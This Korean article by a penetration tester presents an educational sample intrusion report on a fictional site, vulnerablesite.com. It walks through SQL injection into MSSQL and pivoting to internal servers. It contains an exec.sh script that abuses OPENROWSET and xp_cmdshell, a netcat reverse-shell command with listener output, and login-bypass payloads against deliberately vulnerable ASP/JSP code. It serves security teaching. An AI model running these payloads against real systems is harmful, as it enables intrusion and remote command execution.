[보안참고]vulnerablesite.com 모의 침투 리포트

<모의침투의 시나리오 참고로 좋은 자료인 듯 싶어 올립니다.>

오정욱(mat@monkey.org,mat@panicsecurity.org)
현재 시큐아이닷컴 CERT에서 모의 침투를 맡고 있다.
패닉시큐리티(PanicSecurity)라는 보안 단체에서 활동중이다.

필자의 직업은 모의침투자(Penetration Tester)이다. 아마도 이런 직업을 가진 사람을 주위에서 많이 보지 못했을 것이다. 필자 주위를 둘러 봐도 통틀어 이 직업을 가진 사람은 국내에 20-30명도 안 된다. 주로 보안 컨설팅 회사를 중심으로 존재하는 이 사람들은 이른바 "해커" 출신인 경우가 많다.
이러한 모의 침투자 생활을 1년 넘게 하다 보니, 국내 사이트들의 보안 취약점들은 다들 비슷하고 몇 가지 유형으로 나누어 진다는 것을 알게 되었다. 이렇게 얻어진 노하우들을 이 지면을 통해서 공개하고자 한다. 물론 이러한 공개의 이유는 이 글을 읽는 여러분들이 어느 사이트를 해킹할 때에 참고 자료로 사용하라는 것은 아니다. 이러한 정보를 이용하여 자신들이 관리하는 기계는 얼마나 안전한지 체크할 수 있는 자료로 사용해 달라는 것이다.

모의 침투의 대상은 일반적으로 생각하는 웹서버나 메일 서버 등의 서버 장비도 있지만 네트워크 장비들이나 윈도우즈 서버, 개인용 PC 들이 포함 되는 경우도 많다. 각각의 경우에 모의 침투의 방법이 조금씩 다르고, 초점을 맞춰야 하는 부분이 다르다.

솔직히, 필자가 처음 이 직업을 시작할 때에 사실은 걱정이 많았다. 많은 사람들이 침투율을 중요하게 생각하는 듯 했고, 스스로도 얼마나 많은 시스템에 침투할 수 있을까 하는 걱정이 있기도 했다. 하지만, 몇 달만에 필자의 걱정은 기우였음이 밝혀 졌다. 대상이 되는 대부분의 시스템들은 패치가 잘 되어 있음에도 불구하고 침투가 아주 쉬울 경우가 태반이었다.

가끔 TV를 보면 보안 컨설팅사 대표가 나와서 모의 침투를 시행하면 대부분의 사이트가 뚫린다는 식으로 이야기 한다. 일반인들은 그냥 회사 광고하려고 저러나 보다 했을지 모르지만, 사실이 그러하다. 누군가 마음을 먹고 뚫을 생각을 한다면 대부분의 회사는 뚫릴 가능성이 100%에 가깝다는 이야기다. 그만큼 완벽한 보안을 이루기는 어렵다는 이야기가 된다.

이번에는 보안과 관련해서 모든 부분을 살펴보기가 힘들기 때문에 우선 생활에 가장 밀접하고 외부에 가장 많이 노출 되어 있는 웹어플리케이션 보안에 대한 부분에 중점을 두기로 한다. 여기에서 보여줄 것은 모의 침투의 개요와 실제 모의 침투 보고서 샘플이다. 이 모의 침투 보고서는 가상 사이트 vulnerablesite.com 에 대해서 시행한 것으로서 실제로 있을 수 있는 내용을 교육용을 위해서 재편한 것이다. 이 보고서를 보면 알겠지만, 웹어플리케이션에 대한 보안만 잘 이루어도 침투율은 엄청나게 떨어질 것이다. 이 글이 침투율 0%에 수렴하는 보안을 이루기 위한 기초가 되기 바란다.

1. 모의 침투의 개요

1.1 모의 침투의 정의
누군가 모의 침투에 대해서 잘 정의해 놓은 사람이 있는지 모르겠다. 모의 침투 또는 Penetration Test라는 말을 누가 보안업계에서 가장 먼저 사용했는지도 잘 모르겠다. 일반적으로 국내에서 통용되는 모의 침투의 의미는 실제 해커의 입장에 대상이 되는 서버나 네트워크에 침투 시도를 하고 성공 여부를 결론짓는 것을 의미한다.
한마디로 해커들이 대상 네트워크나 시스템에 침투할 수 있는지 미리 테스트 해보는 것이라고 할 수 있다. 따라서 이러한 모의 침투를 가장 잘 시행할 수 있는 사람은 전직 해커들이라고 할 수 있다. TV나 영화에서 볼 수 있듯이, 해커들이 머리를 길게 기르고, 썬글라스를 낀 그러한 존재들은 아니다. 적어도 필자가 알고 있는 사람들은 다들 평범해 보이는 외모에 오히려 촌스럽기까지 한 패션을 추구하고 있다. 또한 어디에 가도 그 사람이 해커인지 아닌지 분간하기는 힘들어 보인다. 일반인과의 차이점을 굳이 찾으라면 보통 사람보다 내성적인 사람들이 많고, 착하다는 것이다. 물론 그렇지 않은 일반인의 예상에 딱 맞는 해커들도 존재한다. 록가수를 연상 시키는 긴 머리에 터프한 행동 가지를 가진 해커들도 있다. 하지만, 한가지 중요한 것은 외모와 해킹 실력과는 전혀 상관 관계가 없다는 것이다. 외부로 보여지는 모습과 내면의 실력은 전혀 관계가 없다.

또한, 해커에 대해서 이야기가 나오면 빠지지 않는 것이 해커와 크래커의 비교이다. 하지만, 이러한 논의에서 간과되는 사실 하나는 같은 사람이 때에 따라서는 해커로서 활동하다가 어느 순간에는 크래커가 될 수도 있다는 것이다. 그리고, 한번 크래커였다고 해서 만년 크래커로서만 활동하지는 않는다. 많은 크래커들이 마음을 고쳐 먹고 착하게 살기도 하기 때문이다. 자신이 크래커에 스크립트 키디라고 생각한다면 당장에 마음을 고쳐 먹고, 해커가 되려고 노력이라도 해보기 바란다. 파괴와 창조는 종이 한 장 차이이다. 같은 일을 하더라도 상황에 따라서 창조적인 행위가 될 수 있다.
모의 침투라는 작업이 그만큼 "해커"라는 존재와 뗄래야 뗄 수 없는 관계이므로, 웬만한 보안 컨설팅 업체에는 이러한 "해커"라는 존재들이 있다. 그리고, 그러한 존재들의 특색은 정말 개개인별로 다르고, 회사에 따라 다르다. 주로 패스워드 추측에 의존해서 대부분의 시스템을 다 뚫어 버리는 무서운 존재들이 있는 가 하면, 정석에 의거해서 논리적으로 체크리스트를 준비해서 시행하는 사람들도 있다. 물론 그 사이에서 적절한 위치에서 적절한 방법을 찾는 존재들도 있다.

1.2 모의 침투의 대상
대상은 서버나 PC, 또는 네트워크 장비 들이 될 수 있다.

1.3 모의 침투의 분류
주로 침입자의 위치 설정에 따라서 외부 모의 침투와 내부 모의 침투로 나눌 수 있다. 외부 모의 침투는 외부에 존재하는 해커들의 입장에서 수행하는 모의 침투이고, 내부 모의 침투는 내부자의 권한을 가진 입장에서 수행하는 모의 침투이다. 내부자 해킹의 비율이 높은 만큼, 내부 모의 침투의 중요성도 낮지 않다.

1.4 해킹과 모의 침투의 같은 점, 다른점
해킹과 모의 침투는 기본적으로 같은 일을 수행한다는 의미에서는 같다. 하지만, 다른 점은 모의 침투는 대상이 되는 서버나 네트워크를 관리하는 관리자와 관리 기관의 승인을 받고 하는 해킹이라는 점이다. 같은 일을 하더라도 범법 행위가 될 수도 있고, 보안 컨설팅을 위한 중요한 과정이 될 수도 있다. 만약 자신이 "해커"라고 생각하고, 크래킹을 하고 다닌다면, 차라리 보안 컨설팅을 위한 모의 침투자(Penetration Tester)가 되는 것도 아주 현명한 판단이라고 생각한다. 억제할 수 없는 호기심을 아주 합법적인 방법으로 해소할 수 있는 방법이기 때문이다. 물론 그러한 과정이 더욱 합법적이기 위해서는 윤리성이라는 덕목을 필수적으로 갖추어야 한다.

2. 가상 사이트 vulnerablesite.com 침투 보고서

2.1 보고서 개요
보안 침투자의 역할에서 독자들에게 어필하고 싶은 내용을 쓰고 싶었다. 한마디로 이러이러한 문제들이 최근에 이슈가 되고 있으니 이 부분을 중점적으로 보완하라는 식으로. 그래서 백마디 말을 하는 것보다는 차라리 실제 모의 침투를 행한 사이트 몇 개를 짜깁기하여 실제 예를 보여 주는 것이 나을 것이라고 판단하게 되었다.
다음에 보이는 예는 아주 일반적인 예이다. 즉, 여기에 보여준 내용들은 다른 사이트에 적용될 가능성이 아주 높은 예라는 의미이다. 여기에 나온 내용들만 주의 한다고 해도 많은 도움이 될 것이다. 그리고, 이러한 예는 최근 보안의 이슈가 무엇인지를 극명히 보여준다. 보고서를 읽어 보고 보안의 이슈를 찾아 보기 바란다.

2.2 네트워크 구성과 대상
vulnerablesite.com의 DMZ의 웹서버와 내부의 데이타 베이스 서버들 그리고 내부 인트라넷 서버가 공격의 대상이다. 이러한 구성은 전형적인 네트워크 구성으로서 웹서버등은 트래픽에 부하 때문에 DMZ 구간에 두는 경우가 많다.

3. 침투 시나리오

방화벽에 잘못 된 설정이 없었으며, DMZ 구간의 웹서버에만 접근이 가능했다. 따라서, DMZ 구간의 웹서버에서 취약점을 찾아서 내부로 접근하는 방법이 가장 효과적일 것으로 판단하고, 웹서버의 웹어플리케이션에 대한 테스트를 진행하였다. 그 결과, SQL Injection이 존재하는 것을 발견하였고, SQL Injection을 통해서 내부의 데이타 베이스 서버에 침투하는 데에 성공하였다. 이 데이타 베이스를 교두보로 하여서 내부망을 스캐닝하고 내부의 Oracle 데이타 베이스 서버와 인트라넷 서버에 침투하는 데에 성공하였다.
내부망에서는 상대적으로 보안 정도가 낮아지므로 내부망까지 일단 진입만 하면 그 이후는 어렵지 않게 진행 할 수 있었다.

3.1 웹을 통한 접근

1) 이 사이트에서 다음과 같은 테스트를 통해서 SQL Injection을 발견하였다.
SQL Injection은 주로 게시판 등에서 쉽게 발견할 수 있다. 다음은 원래의 id= 파라메터의 끝부분에 ' 문자를 덧붙여서 MSSQL Error가 발생한 것을 보인 것이다.
만약 다른 사이트에서 이런 형태의 에러 메시지를 봤다면 그 사이트에는 SQL Injection이 존재하고, 보안상의 문제가 있다고 볼 수 있다.

2) SQL Injection을 exploit하기 위한 스크립트를 만들었다.
이 스크립트가 하는 일은 지정된 호스트에 접속하여 지정된 명령을 실행시키는 것이다.
vulnerablesite.com의 웹서버는 MSSQL 데이타베이스에 sa 권한으로 접속하지 않았다. 따라서 바로 스토어드 프로시저 실행과 같은 상위 권한이 필요한 작업들은 실행이 불가능했다. 따라서 다음과 같이 다른 MSSQL 서버에 접속하여 명령을 실행시키는 스크립트를 짜고 여러 서버에 대해서 명령을 실행해 보았다. 해당 서버에서 명령 실행이 잘 되었는지 여부는 ping이나 telnet으로 공격자의 컴퓨터로 패킷을 보내도록 하고, tcpdump로 그 패킷을 모니터링해 보는 방법이 많이 쓰인다. 바로 웹페이지에서 명령 실행 결과를 볼 수 있는 경우는 거의 없다.

exec.sh 분석
--------------------------------------------------------------------------------------------
1: #!/bin/sh
2: host=$1
3: shift
4: cmd=`echo $@|sed "s/ /+/g"`
5: lynx -dump
http://vulnerablesite.com/test/aaa_detail.asp?code=000&id=20030121114206'select+*+from+
OPENROWSET('SQLoledb','uid=sa;pwd=;Network=DBMSSOCN;Address=$host,1433;',
'SET+FMTONLY+OFF+execute+master..xp_cmdshell+\"$cmd\"')
--&gotopage=1&idx=000&ref=73&re_step=0&re_level=0"
--------------------------------------------------------------------------------------------
2: 프로그램의 첫번째 인자는 공격대상이 되는 호스트의 이름이나 주소이다.
4: 나머지 인자는 실행할 명령행이다.
5: lynx를 사용하여 대상 호스트에 접속한다.

실제로 vulnerablesite.com의 MSSQL 서버에서 실행하고자 하는 쿼리는 다음과 같다.

select * from OPENROWSET('SQLoledb','uid=sa;pwd=;Network=DBMSSOCN;Address=$host,1433;','SET FMTONLY OFF execute master..xp_cmdshell "$cmd"')

이 쿼리의 의미는 이 데이타베이스에서 대상 $host의 MSSQL 데이타베이스로 sa권한으로 널패스워드로 접속하여 $cmd 명령을 실행시키라는 의미이다. 대상 $host의 MSSQL 데이타베이스의 sa에 패스워드가 걸려 있지 않다면 이 스크립트는 성공할 것이다. $host를 변화 시켜 가면서 취약한 MSSQL 서버를 찾아서 내부망을 스캐닝해 볼 수도 있다.

3.2 명령쉘

netcat을 다운로드 하고 리버스 커넥션을 통해 명령쉘에서 작업할 수 있었다. 방화벽이 있어서 외부에서 내부 시스템에 접근하기 힘들 것이라고 생각한다면 오산이다. 대부분 방화벽은 외부에서 내부망으로의 직접적인 공격을 막도록 설계 되어 있다. 하지만 내부망에서의 외부로의 트래픽은 거의 통제를 하지 못하는 실정이고, 어플리케이션 레벨의 프로토콜에 대해서 분석할 수 있는 기능이 없으므로 80번 웹포트와 같이 일반적인 포트를 사용하여 외부로 접근할 경우 거의 감지할 수 없다.

nc의 구동. nc를 로 cmd.exe를 실행시키고 공격자의 컴퓨터로 그 제어권을 넘긴다.

sh exec.sh 10.1.1.5 nc.exe -e cmd.exe <erased for security reason> 9999

nc를 통해 쉘을 얻고, 명령을 실행하는 화면이다. 일반적인 명령행의 명령들은 모두 실행이 가능하다.

tester:~/# nc -l -vv -p 9999 listening on [any] 9999 ... <erased for security reason>: inverse host lookup failed: Unknown host connect to [<erased for security reason>] from (UNKNOWN) [<erased for security reason>] 1173 Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32>ipconfig ipconfig Windows 2000 IP Configuration Ethernet adapter 로컬 영역 연결: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : <erased for security reason> Subnet Mask . . . . . . . . . . . : <erased for security reason> Default Gateway . . . . . . . . . : <erased for security reason>

3.3 터미널 서비스의 구동

터미널 서버나 VNC 등을 통해서 GUI로 접근이 가능하였다. 터미널 서버나 VNC는 GUI를 필요로 하는 윈도우즈 프로그램들을 구동시키기에 적당한 환경이다. 또한 VNC의 경우에는 리버스 커넥션이 가능하므로 방화벽에 의해서 차단 될 확률이 적고, IDS에 의해서 감지 될 확률도 낮아진다.

3.4 내부 서버들에 대한 스캐닝

다양한 기능을 제공하는 취약점 스캐너도 설치후 내부망을 스캐닝하였다. 내부망에서는 상대적으로 보안 정도가 약하므로 취약점 스캐너만으로도 취약한 기계를 많이 찾아 낼 수 있다.

3.5. 내부 Oracle 데이타 베이스 서버 침투

취약한 패스워드를 가지고 있었다. 오라클을 사용하는 많은 사이트들이 디폴트로 oracle 계정에 oracle 과 같은 단순한 패스워드를 쓰고 있다. 취약한 계정과 패스워드 조합은 이 외에도 많이 알려져 있다. 가장 기본적인 보안 수칙을 지키는 것이 방화벽 증설이나 IDS 설치 보다도 중요한 일이다.

3.6. 내부 인트라넷 서버 침투

넷스케이프 어드민 서버 버그를 이용하여 바로 루트 권한을 획득하였다. 아래의 그림을 보면 id 명령과 ls 명령이 성공적으로 수행 되었음을 알 수 있다. id의 결과로 바로 root 권한의 획득을 알 수 있다.

OS 패치는 비교적 잘 이루어지는 편이지만 이런 식의 각종 응용 프로그램들의 버그에 대해서는 패치가 늦어지는 경우가 많다. 또한 파일 퍼미션이이나 자체 개발 프로그램 등의 문제로 시스템 관리자 권한을 빼앗기는 경우도 많다.

3. 사용된 기술들 설명

3.1 SQL Injection
1) SQL Injection은 다음과 같이 정의할 수 있다.

• SQL Injection은 웹어플리케이션을 통해서 데이타베이스의 데이타나 스토어드 프로시져에 접근하는 방법을 의미한다. 웹어플리케이션의 버그로 인해서 SQL 문에 사용자가 입력을 필터링하지 않고 넣어서 데이타베이스로 전달 될때에 발생한다.

2) SQL Injection은 다음과 같은 목적으로 사용된다.

• Datbase Manipulation
  data, system configuration에 접근하고 조작한다.
• OS Access
  package procedures나 3GL language extensions 등을 사용하여 OS 레벨에 접근한다.
  

3) SQL Injection은 다음과 같은 문자들을 입력해 보고 결과를 보면 찾을 수 있다.

• Database에서 에러를 일으킬 만한 문자열을 넣어 본다.
  그 변수에 적당하지 않은 문자열들을 입력해 본다.
  ‘,나 공백 문자를 사이에 둔 or 문등
  

4) SQL Injection에 영향을 받는

• JSP
• ASP
• XML, XSL, XSQL
• Javascript
• VB, MFC, ODBC 기반 툴들과 API
• older WebDB
• Oracle Web-based applications and API
• Oracle Applications
• 3-, 4GL 기반 언어: C, OCI, Pro*C,COBOL
• 오라클 데이타베이스에 접근하는 Perl, CGI 스크립트
  

5) SQL Injection 사용예

• JSP 사용시 인증 우회

다음은 SQL Injection을 사용하여 인증부분을 건너뛰고 로그인 하는 예를 보여 준다.
실제로 이러한 공격이 그대로 먹히는 경우도 있고, 실제 쿼리문은 다를 수 있으므로 약간의 변형이 필요한 경우도 있다.

예를 들어 어떤 jsp에 다음과 같은 인증 부분이 있다고 하자. 사용자 테이블에서 사용자 이름과 패스워드가 일치하는 사용자를 찾는 전형적인 사용자 인증을 위한 쿼리이다.

sqlquery_str="SELECT Username FROM Users WHERE Username = '" & strUsername & "' AND Password = '" & strPassword & "'" strAuthorized= GetQueryResult(sqlquery_str) If strAuthorized= "" Then boolAuthenticated = False Else boolAuthenticated = True End If

Login,Password를 다음과 같이 사용자에게 입력 받고 그 값을 그대로 위의 쿼리문으로 보내 준다고 하자. 즉, SQL Injection 이 가능하다고 하자.

Login: ' OR ''=' Password: ' OR ''='

결과적으로 다음과 같은 쿼리문이 실행되게 된다. 따라서 이 쿼리문은 항상 테이블의 모든 row를반환하게 되고 대부분의 경우 row의 첫번째 사용자로 로그인하게 될 것이다.

SELECT Username FROM Users WHERE Username = '' OR ''='' AND Password = '' OR ''=''

• ASP 인증 우회

IIS에서 ASP를 쓰고 MSSQL을 사용할 경우에 사용할 수 있는 인증 우회 방법이다.

1. 다음과 같은 ASP로 만들어진 로그인 폼이 있다고 하자.

<HTML> <HEAD> <TITLE>로그인 페이지</TITLE> </HEAD> <BODY> <CENTER><H1>로그인</H1> <FORM action='process_login.asp' method=post> 사용자이름:<INPUT type=text name=username size=100% width=100></INPUT> 패스워드:<INPUT type=password name=password size=100% width=100></INPUT> <INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'> </FORM> </BODY> </HTML>

이 로그인 폼은 다음과 같은 ASP 파일을 실행시킨다. 전형적인 DB 커넥션 문장들에 전형적인 쿼리 문들이다.

<HTML> <BODY> <%@LANGUAGE = JScript %> <% function Login( cn ) { var username; var password; //username과 password는 사용자의 입력을 필터링 없이 받아 들인다. username = Request.form("username"); password = Request.form("password"); //DB 오브젝트를 만든다. var rso = Server.CreateObject("ADODB.Recordset"); //실제로 보낼 sql 쿼리문을 조합한다. var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; //쿼리를 실행한다. rso.open( sql, cn ); if (rso.EOF) //username과 password가 모두 일치하는 사용자가 없을 경우를 인증 실패로 간주한다. { rso.close(); %> 로그인 실패 </BODY> </HTML> <% Response.end return; } else { Session("username") = "" + rso("username"); %> 로그인 성공: <% Response.write(rso("Username")); %> 님 안녕하세요. <% Response.write( "</BODY></HTML>" ); Response.end } } function Main() { var username var cn = Server.createobject( "ADODB.Connection" ); cn.connectiontimeout = 20; cn.open( "localserver", "sa", "sapass" ); username = new String( Request.form("username") ); if(username.length>0) { Login( cn ); } cn.close(); } Main(); %>

이 ASP 스크립트에는 다음과 같은 부분에 SQL Injection이 존재한다. 왜 이부분에 SQL Injection이 발생하는가 하면 위의 ASP에 ' 문자나 -- 등의 문자열을 필터링하는 코드가 전혀 없기 때문이다.

var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";

다음과 같은 방법으로 admin으로 로그인이 가능하다.

Username: admin'--

위의 입력은 실제 쿼리에서 다음과 같이 해석 된다. MSSQL에서 --가 커멘트 아웃 문자열로서 그 이후의 내용은 무시하므로 결국 admin 권한으로 로그인이 가능해진다.

select * from users where username = 'admin'--' and password = ''

6) SQL Injection References
다음과 같은 문서들을 읽어 본다면 SQL Injection에 대해서 더 깊이 이해할 수 있을 것이다.

• RFP의 문서
  http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
  http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=2
  http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
• FAQ
  http://www.sqlsecurity.com/faq-inj.asp
• Technical Documents
  1. Advanced SQL Injection In SQL Server Applications
     Chris Anley [chris@ngssoftware.com]
     An NGSSoftware Insight Security Research (NISR) Publication
     (C)2002 Next Generation Security Software Ltd
     http://www.ngssoftware.com
  2. Manipulating Microsoft SQL Server Using SQL Injection
     Cesar Cerrudo (sqlsec@yahoo.com)
     APPLICATION SECURITY, INC.
     WEB: WWW.APPSECINC.COM
     E-MAIL: INFO@APPSECINC.COM
     TEL: 1-866-9APPSEC ? 1-212-490-6022
  3. (more) Advanced SQL Injection
     Chris Anley [chris@ngssoftware.com]
     18/06/2002
     An NGSSoftware Insight Security Research (NISR) Publication
     (C)2002 Next Generation Security Software Ltd
     http://www.ngssoftware.com
  4. SQL Injection: Are Your Web Applications Vulnerable?
     A White Paper from SPI Dynamics
     Author: Kevin Spett
  

3.2 넷스케이프 어드민 서버 버그

넷스케이프 어드민 서버의 버그에 대해서는 다음 참고 자료를 참조하기 바란다.
http://www.ngsec.com/docs/whitepapers/Iplanet-NG-XSS-analysis.pdf
http://www.securitytracker.com/alerts/2002/Nov/1005656.html

4. 결론

이 가상 보고서는 아마 많은 사이트에 그대로 적용 될 수도 있다. 그 만큼 여기에 제시된 항목들은 일반적이면서도 자주 나오는 취약점들이다.
이 보고서를 읽으신 분들은 보고서의 앞부분에 나온 문제의 해답을 얻었을 것이다. 최근 보안의 주요 이슈는 웹어플리케이션 보안이다. 최근에는 방화벽이나 IDS가 없는 사이트는 아마 없을 것이다. 하지만 웹어플리케이션쪽은 아직 많이 신경을 쓰지 않는다. 항상 가장 약한 부분의 보안 수준이 전체의 보안 수준을 결정하게 되는데, 지금 가장 약한 부분은 바로 웹어플리케이션이다.

웹어플리케이션은 대부분 내부망의 데이타베이스 서버와 연동 되는 경우가 많은데, 이러한 특징은 해커들에게 내부망에 바로 접근할 수 있는 가능성을 열어 주었다. 위의 리포트에서도 볼 수 있듯이, ' 문자 하나를 처리 하지 못한 것으로 인해서 내부망의 데이타베이스 서버가 뚫리고, 그를 교두보로 해서 다른 서버들이 차례로 뚫리게 되었다.

완벽한 보안을 위해서 패치만 하면 된다고 생각하면 오산이다. 패치는 기본일 뿐이다. 어플리케이션, 특히 웹어플리케이션의 보안을 체크해 보는 것은 보안의 필수 요소이다. 지금부터 SQL Injection이라든지, XSS(Cross Site Scripting), 또는 파일 업로드 버그와 같은 웹어플리케이션의 버그들이 자신이 관리하는 웹사이트의 웹어플리케이션에 존재하지 않는지 체크하도록 하자.